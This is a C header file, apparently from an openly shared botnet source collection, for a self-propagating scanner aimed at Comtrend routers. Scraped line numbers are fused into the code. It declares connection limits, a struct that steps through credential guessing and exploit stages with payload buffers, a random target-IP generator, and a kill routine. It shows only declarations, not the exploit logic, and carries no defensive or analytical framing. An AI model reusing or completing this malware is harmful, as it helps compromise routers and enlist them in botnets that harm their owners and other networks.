Path: blob/master/Botnets/Self Reps/Comtrend/comtrend.h
5038 views
#ifdef SELFREP12#pragma once34#include <stdint.h>56#include "includes.h"78#define comtrend_SCANNER_MAX_CONNS 2569#define comtrend_SCANNER_RAW_PPS 10241011#define comtrend_SCANNER_RDBUF_SIZE 108012#define comtrend_SCANNER_HACK_DRAIN 641314struct comtrend_scanner_connection15{16int fd, last_recv;17enum18{19comtrend_SC_CLOSED,20comtrend_comtrend_SC_CONNECTING,21comtrend_SC_GET_CREDENTIALS,22comtrend_SC_EXPLOIT_STAGE2,23comtrend_SC_EXPLOIT_STAGE3,24} state;25ipv4_t dst_addr;26uint16_t dst_port;27int rdbuf_pos;28char rdbuf[comtrend_SCANNER_RDBUF_SIZE];29char **credentials;30char payload_buf[256], payload_buf2[256];31int credential_index;32};3334void comtrend_scanner();35void comtrend_kill(void);3637static void comtrend_setup_connection(struct comtrend_scanner_connection *);38static ipv4_t get_random_comtrend_ip(void);3940#endif414243